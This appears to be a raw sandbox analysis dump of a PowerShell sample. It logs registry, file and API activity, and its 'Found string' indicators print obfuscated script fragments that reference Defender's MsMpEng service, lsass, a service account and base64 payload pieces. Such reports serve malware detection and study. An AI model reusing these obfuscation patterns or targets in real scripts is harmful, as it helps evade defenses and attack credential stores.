"HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLECANAMECONSTRAINTS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "DISABLEUNSUPPORTEDCRITICALEXTENSIONS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLCOUNTINCERT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCOUNTPERCHAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXURLRETRIEVALBYTECOUNT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALBYTECOUNT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MAXAIAURLRETRIEVALCERTCOUNT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CRYPTNETPREFETCHTRIGGERPERIODSECONDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLEWEAKSIGNATUREFLAGS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "MINRSAPUBKEYBITLENGTH"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKRSAPUBKEYTIME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "CHAINCACHERESYNCFILETIME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "ENABLESTRICTCHECKSFLAGS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLCREATECERTIFICATECHAINENGINE\CONFIG"; Key: "WEAKMD5THIRDPARTYFLAGS"; Value: "")43:T459,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\b5ba37e1558ced178a99011a1d659b52\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\0d59b0e237d7519417de10cd84bda4e7\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\system.management.automation.ni.dll.aux"44:T4f9,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MV5MLXW4KPVGCHZRESYM.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\MV5MLXW4KPVGCHZRESYM.temp" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF329a97.TMP" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive"45:Ta2a,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\LINKINFO.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\LINKINFO.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\NTSHRUI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\ntshrui.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SSPICLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\SRVCLI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\srvcli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CSCAPI.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\WindowsPowerShell\v1.0\cscapi.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll"46:T99a,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MV5MLXW4KPVGCHZRESYM.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MV5MLXW4KPVGCHZRESYM.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"47:T412,"powershell.exe" writes file "\device\namedpipe\srvsvc" "powershell.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\mv5mlxw4kpvgchzresym.temp" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_0rlulhno.vo4.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_aikvqwx4.xgw.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\schevnt.xml" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%appdata%\microsoft\windows\recent\customdestinations\mv5mlxw4kpvgchzresym.temp" "powershell.exe" writes file "%temp%\__psscriptpolicytest_0rlulhno.vo4.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_aikvqwx4.xgw.psm1" "powershell.exe" writes file "%temp%\schevnt.xml" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive"48:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00006920) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006920) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00006920)49:T5e9,file/memory contains long string with (Indicator: "Select-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Where-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "ForEach-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Select-Object -Debug -DestinationPath .\Export && ($oaei)} = "9va2VkVmFsdWU";${ConvertTo-Csv -Verbose -DestinationPath .\Export && ($saiho)} = "KICAgIFdyaXRlLU";${Get-PfxCertificate -OutputFormat -Identity $adUser09 && ($ptlrr)} = "hvc3";" (Indicator: "Select-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Where-Object -TimeoutSec 30 -ClassName MSFT_NetIPAddress && ($crml)} = @()" (Indicator: "Where-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${ForEach-Object -NoTypeInformation -Depth 2 && ($pnlfn)} = 356" (Indicator: "ForEach-Object"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "ForEach-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Group-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Select-Object"; File: "AMSI") file/memory contains long string with (Indicator: "Sort-Object"; File: "AMSI")4a:T11fc,file/memory contains long string with (Indicator: "Get-PhysicalDisk"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Partition"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-HotFix"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Date"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-NetIPConfiguration"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-WindowsCapability"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-ItemProperty"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Command"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Acl"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-PhysicalDisk -NoClobber -Identity DOMAIN\svc_backup00 && ($elbirk)} = "ZXQtR";" (Indicator: "Get-PhysicalDisk"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Restart-Service -Exclude *.tmp -Name MsMpEng && ($idg)} = "UNvdW50Z";${Get-HotFix -AllowClobber -Uri autologon.microsoftazuread-sso.com/winauth/sso && ($ran)} = "XIgJ1xQcm9";" (Indicator: "Get-HotFix"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Set-ItemProperty -CaseSensitive -ClassName Win32_UserAccount && ($koefr)} = "IFBy";${Get-Date -InputFormat -LogName Security && ($bhhd)} = "b2Nlc3Nvc";${Get-TransportRule -Unique -ComputerName SRV-WEB-00 && ($frcd)} = "iBUaW1";" (Indicator: "Get-Date"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { $void = Get-Random -Minimum 4 -Maximum 6 } catch { $void = $null }" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-UnifiedGroup -NoTypeInformation -ClassName MSFT_NetIPAddress && ($hlg)} = "QgKCJDUFU6IHsw";${Get-WindowsCapability -NoTypeInformation -Namespace root\ccm\Policy && ($bmtpfs)} = "Ok4yf";" (Indicator: "Get-WindowsCapability"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "$randIndex = Get-Random -Minimum 0 -Maximum 10" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-Package -Append -InformationLevel Debug && ($dmfgtn)} = "VlcCAtU2V";${Get-PhysicalDisk -Include * -Namespace root\Microsoft\Windows\Storage && ($cpkgbl)} = "jb25kcyAx";" (Indicator: "Get-PhysicalDisk"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "$randIndex = Get-Random -Minimum 5 -Maximum 16" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "$randIndex = Get-Random -Minimum 2 -Maximum 17" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { $void = Get-Random -Minimum 7 -Maximum 11 } catch { $void = $null }" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "try { $void = Get-Random -Minimum 8 -Maximum 8 } catch { $void = $null }" (Indicator: "Get-Random"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-Acl -WhatIf -Name lsass && ($crlpi)} = 295" (Indicator: "Get-Acl"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-Command -NoTypeInformation -Depth 3 && ($mkco)} = 518" (Indicator: "Get-Command"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-Random"; File: "AMSI") file/memory contains long string with (Indicator: "Get-Date"; File: "AMSI") file/memory contains long string with (Indicator: "Get-Event"; File: "AMSI")4b:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")4c:Te91,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DIRECTACCESSQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: 